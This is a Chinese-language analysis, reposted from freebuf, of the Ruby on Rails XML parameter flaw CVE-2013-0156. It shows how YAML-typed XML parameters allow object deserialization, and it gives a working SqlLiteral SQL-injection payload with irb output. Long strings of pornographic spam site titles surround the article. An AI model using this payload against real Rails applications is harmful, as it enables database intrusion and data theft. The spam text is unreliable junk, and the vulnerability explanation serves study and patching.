精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Ruby on Rails XML參數注入漏洞(CVE-2013-0156)分析

安全 漏洞 應用安全
近日RoR的漏洞大爆發,就在昨天臨晨,RoR的官網發布了新的兩個安全漏洞補丁,CVE-2013-0155和CVE-2013-0156.

Author: wofeiwo#80sec.com

注意,本文基本是這篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建議去原文查看。

近日RoR的漏洞大爆發,就在昨天臨晨,RoR的官網發布了新的兩個安全漏洞補丁,CVE-2013-0155和CVE-2013-0156.

CVE-2013-0155主要是防止Json數據解析的nil導致程序DoS,而CVE-2013-0156則是對RoR的XML解析進行修補.其中Json的那個并沒有什么值得關注的部分,但是對于XML解析的修補,卻很值得玩味.官網對此補丁的描述是:要求所有RoR的用戶,必須立即(immediately)升級此補丁.這是本周內除了CVE-2012-6496之外,第二次要求大家”立即”升級的高危漏洞.甚至,連cnbeta都開始報道此漏洞了.

為什么這個漏洞如此的嚴重?原因就出在RoR框架的靈活性和便利性上.RoR支持用戶使用多種格式提交你的參數,而不僅僅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去對你提交的參數進行描述,因為Ruby是個強類型語言,因此由于HTTP傳過來的純string的參數并不足夠描述參數的屬性.當你使用XML格式去遞交時,就是另一回事了.例如:

  1. <?xml version="1.0" encoding="UTF-8"?> 
  2. <hash> 
  3. <foo type="integer">1</foo> 
  4. </hash> 

如果你POST提交這樣的一個數據,RoR就會在其中解析為:

  1. "hash" => {"foo" => 1} 

這些type的xml屬性也就補充說明了一個參數的類型.RoR可以很便利的將其解析出來.可關鍵問題就在此,Type的取值還可以為Symbol和Yaml.

說起Symbol,還記得之前提到的另一個高危SQL注入漏洞,CVE-2012-6496,其***的不可利用問題,就在于他需要提交的參數的key必須是Symbol類型么?

然后我們測試下,就會發現,由于框架中對參數進行 data.with_indifferent_access 的操作(會把key全變成string),我們還是無法通過xml去將Key變成Symbol類型。所以,也無法利用此漏洞去利用CVE-2012-6496。

但是等等,還有另一個參數類型,yaml。

yaml強大的地方在于,利用yaml語言,你可以讓Rails生成各種類型的數據結構,例如,Object。

  1. <test type="yaml">--- !ruby/object:A  
  2. aaa: bbb  
  3. </test> 

這基本類似于一個變量反序列化的過程,實際用起來基本就相當于一個任意變量覆蓋漏洞。如果后續的代碼中,有將此Object的aaa屬性帶入eval/exec/system等關鍵語句中,就可以執行一些被污染的代碼。

如果你熟悉rails的代碼,或者其他開源rails的webapp,現在就可以找起來了。或許一個遠程執行0day就此誕生。

如果你不熟悉ror,那么也沒問題,實際上還有個利用方式,可以直接進行sql注入。

一般在RoR中都是使用model.find_by_*的方式進行數據庫查詢(ActiveRecord模式)

model.find_by_id(params[:id])類似的代碼會很常見。我們可以通過yaml去定義這個id變量,使其成為可以注入的內容:

  1. <id type=yaml>--- !str:Arel::Nodes::SqlLiteral  
  2. 1 and 1=2 
  3. </id>利用如上代碼,通過SqlLiteral對象,即可進行sql注入。  
  4. irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1")  
  5. => "1"  
  6. irb(main):018:0> Post.find_by_id(a)  
  7. Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 
  8. => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> 
  9. irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 11=1")  
  10. => "1 and 11=1"  
  11. irb(main):020:0> Post.find_by_id(a)  
  12. Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 11=1 LIMIT 1  
  13. => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> 
  14. irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2")  
  15. => "1 and 1=2"  
  16. irb(main):022:0> Post.find_by_id(a)  
  17. Post Load (0.0ms)  SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 
  18. => nil 

 

責任編輯:藍雨淚 來源: freebuf
相關推薦

2015-03-13 18:08:49

2023-12-08 09:00:00

漏洞攻擊

2009-12-18 13:13:59

Ruby on Rai

2009-08-27 10:21:22

Ruby on Rai

2022-06-14 09:00:21

漏洞補丁

2009-08-06 09:13:36

Ruby on Rai

2009-10-27 14:25:08

2009-11-02 13:47:09

2013-04-22 15:47:35

漏洞CVE-2013-00IE

2009-12-17 14:29:50

Ruby on Rai

2015-10-14 17:27:18

性能

2009-12-14 15:30:43

安裝Ruby on R

2009-12-16 16:37:59

Ruby on Rai

2015-10-10 11:00:05

RubyRails性能

2013-05-31 09:56:54

2009-12-17 17:37:42

Ruby on Rai

2009-12-16 15:23:33

Ruby on rai

2009-12-16 15:41:10

Ruby on Rai

2009-12-16 17:37:31

Ruby on Rai

2010-09-25 14:39:29

Bruce Tate
點贊
收藏

51CTO技術棧公眾號

免费在线一区二区三区| 久章草在线视频| 欧美黑人巨大精品一区二区| 在线观看免费成人av| 久久日韩视频| 成人一区二区在线观看| 日韩美女在线观看| 欧美又粗又大又长| 深爱激情久久| 精品国产一区二区三区不卡 | 91黑丝高跟在线| 极品久久久久久久| 岛国精品一区| 欧美日韩一区 二区 三区 久久精品| 男女激烈动态图| 欧美人体大胆444www| 精品一区二区免费视频| 77777少妇光屁股久久一区| av在线播放中文字幕| caoporn成人免费视频在线| 91精品办公室少妇高潮对白| 今天免费高清在线观看国语| 国产精品麻豆一区二区三区| 福利91精品一区二区三区| 国产精品都在这里| 国产无码精品在线播放| 忘忧草精品久久久久久久高清| 亚洲国产欧美自拍| 性生活在线视频| 成人不卡视频| 欧美日韩性生活视频| 黄黄视频在线观看| 无遮挡动作视频在线观看免费入口 | 人人精品视频| 欧美成人vps| 九九久久久久久| yiren22亚洲综合| 色综合天天天天做夜夜夜夜做| 看全色黄大色大片| 麻豆免费在线视频| 国产精品免费观看视频| 欧美二区三区在线| 亚洲av成人精品一区二区三区在线播放 | 992tv人人草| 欧美综合社区国产| 欧美亚洲一区二区在线观看| 欧美精品99久久| 超碰在线最新网址| 亚洲国产欧美另类丝袜| 真实国产乱子伦对白视频| 国产在线观看免费麻豆| 亚洲欧美综合另类在线卡通| 一区二区三区久久网| 大胆av不用播放器在线播放| 久久色在线视频| 免费精品视频一区二区三区| 五月天婷婷社区| av男人天堂一区| 91国产丝袜在线播放| 亚洲精品欧美日韩| 国产视频一二三四区| 国产在线精品一区二区 | 国产乱码精品一区二区三区亚洲人| 在线看不卡av| 最近中文字幕一区二区| julia一区二区三区中文字幕| 欧美在线视频你懂得| 男操女免费网站| 黄色日韩网站| 欧美一区二区三区视频免费| 无套白嫩进入乌克兰美女| 欧美视频三区| 亚洲成人av资源网| a毛片毛片av永久免费| 欧美**字幕| 在线电影中文日韩| 久久成人小视频| 欧美激情综合色综合啪啪| 午夜精品福利电影| 色av性av丰满av| 美女视频黄频大全不卡视频在线播放 | 亚洲免费视频一区| www国产在线观看 | 黄色www网站| 国产精品久久久久av电视剧| 欧美日韩中字一区| 欧美人与性动交α欧美精品| 欧美美女啪啪| 少妇高潮久久77777| 免费一级黄色大片| 久久久久在线| 91手机在线播放| 免费在线观看一级毛片| 一区免费观看视频| 成人在线观看你懂的| 成人午夜sm精品久久久久久久| 欧美一区二区三区系列电影| 少妇一级淫片免费放播放| 欧美日韩国产一区二区三区不卡| 久久天天躁狠狠躁夜夜av| 日本三级2019| 久久成人免费电影| 狠狠色狠狠色综合人人| avhd101老司机| 无遮挡动作视频在线观看免费入口| 国产精品久久久久毛片软件| 国产精品三级一区二区| 桃子视频成人app| 日韩精品综合一本久道在线视频| 欧美做受喷浆在线观看| 偷偷www综合久久久久久久| 91精品国产电影| 99久久久久久久| 欧美国产欧美综合| 大j8黑人w巨大888a片| 韩国三级大全久久网站| 亚洲欧洲日产国码av系列天堂| 国产精品 欧美激情| 天堂va蜜桃一区二区三区漫画版| caoporn国产精品免费公开| 在线看av的网址| 欧美日韩午夜激情| 国产精九九网站漫画| 99热在线成人| 国产激情视频一区| 天堂在线免费av| 亚洲综合丁香婷婷六月香| 色乱码一区二区三区在线| 任我爽精品视频在线播放| 色综合91久久精品中文字幕 | 日韩一区二区三区电影| 欧美18—19性高清hd4k| 亚洲综合精品| 国产区二精品视| 色呦呦在线看| 日韩欧美一区二区不卡| 国产97免费视频| 久久爱另类一区二区小说| 欧美一区二区在线视频观看| 超碰99在线| 国产精品www.| 最近2019年手机中文字幕| 久久国产黄色片| 成人免费视频视频| 免费在线看黄色片| 亚洲综合影院| 久久久久久久成人| 欧美视频在线观看一区二区三区| 亚洲嫩草精品久久| 国产黄色一区二区三区| 亚洲一区二区三区无吗| 91欧美激情另类亚洲| 黄色网页在线看| 欧美一区三区二区| avove在线播放| 国产不卡视频在线播放| av片在线免费| 亚洲一级大片| 国精产品一区一区三区有限在线| www三级免费| 亚洲成人动漫av| 欧美无人区码suv| 六月婷婷一区| 视频一区二区在线| 亚洲精品乱码日韩| 欧美成人免费在线观看| 亚洲国产成人精品一区二区三区| 一区二区三区日韩| 好男人香蕉影院| 亚洲一区图片| 亚洲视频小说| 欧美午夜在线播放| 98精品在线视频| 成a人片在线观看www视频| 精品视频全国免费看| 久久高清内射无套| 成a人片亚洲日本久久| 99精品人妻少妇一区二区| 精品一区二区三区中文字幕老牛| 国产在线视频欧美| 欧美aaaxxxx做受视频| 日韩精品视频在线观看免费| 天天干天天操天天操| 亚洲婷婷在线视频| 日本一区二区在线免费观看| 首页国产欧美久久| 狠狠干视频网站| 亚洲美女久久| 国产原创欧美精品| 女囚岛在线观看| 亚洲欧美国产视频| 国产jzjzjz丝袜老师水多| 五月天中文字幕一区二区| 自拍偷拍亚洲天堂| 国产精品亚洲成人| 人妻有码中文字幕| 欧美在线高清| 日本一区视频在线| 丰满少妇xbxb毛片日本| 国偷自产视频一区二区久| 日韩免费在线免费观看| av电影免费在线观看| 亚洲精品一区中文| 国产色片在线观看| 色综合亚洲欧洲| 538精品在线观看| 国产色产综合产在线视频| 国模大尺度视频| 日韩国产高清在线| 免费看国产曰批40分钟| 天天揉久久久久亚洲精品| 久久久国产精品一区二区三区| 欧美大片网站| 欧美最猛黑人xxxx黑人猛叫黄| 黄网站免费在线观看| 亚洲欧洲中文天堂| 黑人精品一区二区三区| 欧美日韩国产美| 4438国产精品一区二区| 亚洲一区二区视频在线| 日本午夜精品视频| 26uuu精品一区二区| 日本人妻一区二区三区| 久久电影网站中文字幕| www日韩视频| 国产一区91| 91丨porny丨探花| 午夜天堂精品久久久久| 中文字幕一区二区三区5566| 精品国产一区探花在线观看| 激情小说综合区| 澳门久久精品| 成人午夜电影免费在线观看| 国产va免费精品观看精品| 国产精品久久久久久久久久久久久久 | 黄色www网站| 综合天堂av久久久久久久| 亚洲精品一卡二卡三卡四卡| 伊人春色之综合网| 久久国产一区二区| 欧美日韩另类图片| 精品欧美一区二区在线观看视频| 中文字幕av一区二区三区四区| 国产日韩在线一区| www.久久久久爱免| 91欧美精品午夜性色福利在线| 久久69成人| 成人精品久久av网站| 日韩精品一页| 91影院在线免费观看视频| 国产精品国产亚洲精品| 91在线视频精品| 亚洲1区在线观看| 高清视频在线观看一区| 风间由美性色一区二区三区四区| 成人欧美一区二区三区在线观看| 黄色美女久久久| 久久精品一区二区三区不卡免费视频| 亚州综合一区| 欧美日韩精品一区| jiujiure精品视频播放| 在线观看日本一区| 欧美一区精品| 日韩网站在线免费观看| 中文久久精品| 成人一区二区三| 精品一区二区三区视频在线观看| 久久久精品高清| 国产a精品视频| 免费a级黄色片| 国产人成亚洲第一网站在线播放| 五月天婷婷丁香网| 亚洲黄色免费网站| 久久黄色精品视频| 欧美三级韩国三级日本三斤| 一级黄在线观看| 精品国产制服丝袜高跟| 五月天婷婷视频| 在线色欧美三级视频| 国产无遮挡免费视频| 亚洲8888| 日本不卡久久| 综合精品久久| 久久久999视频| 美女尤物国产一区| 在线播放av网址| 2020日本不卡一区二区视频| 亚洲aaa视频| 亚洲国产精品久久久男人的天堂| 91porny在线| 欧美精品乱码久久久久久按摩| 黄色三级网站在线观看| 国产亚洲精品久久久久动| 成人高清免费在线| 91精品国产高清久久久久久91| 日韩精品免费观看视频| 亚洲伊人第一页| 亚洲色图美女| 粉嫩av一区二区三区天美传媒 | 久久大大胆人体| 2018av在线| 国产女精品视频网站免费| 国产精品国产| 亚洲无玛一区| 国产亚洲精品久久久久婷婷瑜伽| 日本不卡一区在线| 久久免费视频色| 国产亚洲色婷婷久久99精品| 欧美中文字幕不卡| 日日躁夜夜躁白天躁晚上躁91| 日韩在线视频网| 欧美性xxx| 国产精品国产精品国产专区不卡| 第一会所sis001亚洲| 日本少妇高潮喷水视频| 国产精品综合av一区二区国产馆| 91中文字幕永久在线| 亚洲国产精品影院| 99精品人妻无码专区在线视频区| 国产午夜一区二区| 日本乱码一区二区三区不卡| 亚洲aⅴ日韩av电影在线观看| 欧美精品尤物在线观看| 欧美色图色综合| 成人精品gif动图一区| 国产精品一区二区三区久久久| www.综合网.com| 亚洲最大的成人网| 久久成人综合| 国产wwwxx| 久久久久久黄色| 日本中文在线播放| 亚洲国产私拍精品国模在线观看| 中文av资源在线| 91嫩草在线视频| 亚洲精品成人无限看| 岛国毛片在线播放| 中文字幕成人在线观看| 波多野结衣家庭主妇| 日韩精品中文字| 瑟瑟视频在线看| 久久66热这里只有精品| 亚洲黄色三级| 香蕉视频污视频| 亚洲成在人线在线播放| 免费观看黄色av| 国内精品模特av私拍在线观看| 亚洲网一区二区三区| 成人午夜视频免费观看| 国产一区在线不卡| 欧美日韩免费做爰视频| 欧美成人福利视频| 91视频欧美| 精品视频高清无人区区二区三区| 亚洲国产三级| 91亚洲免费视频| 亚洲男人的天堂在线观看| 国产特级aaaaaa大片| 欧美精品一区三区| aiai久久| 日韩视频第二页| 国产精品午夜电影| 国产精品爽爽久久久久久| 久久久精品一区二区| 欧美第一在线视频| 妞干网视频在线观看| 99久久99久久综合| 久久久黄色大片| 在线观看日韩专区| 榴莲视频成人app| 国产真人做爰毛片视频直播| k8久久久一区二区三区| 在线观看日本网站| 日韩在线视频网站| 成人精品毛片| 日韩欧美黄色大片| 亚洲嫩草精品久久| 日av在线播放| 成人激情视频网| 一本综合精品| 免费黄色在线网址| 日韩精品在线一区二区| 亚洲精品一区| 在线观看精品视频| 99久久伊人精品| 亚洲在线视频播放| 午夜精品在线观看| 久久国产小视频| 国产精品无码专区| 欧美日韩精品一区二区三区| 牛牛精品在线| 色综合视频二区偷拍在线| 国产成人av网站| 中文字幕+乱码+中文乱码91| 欧美寡妇偷汉性猛交| 亚洲激情77| japan高清日本乱xxxxx| 日韩欧美亚洲国产一区| 影音先锋男人资源在线| 神马影院午夜我不卡影院|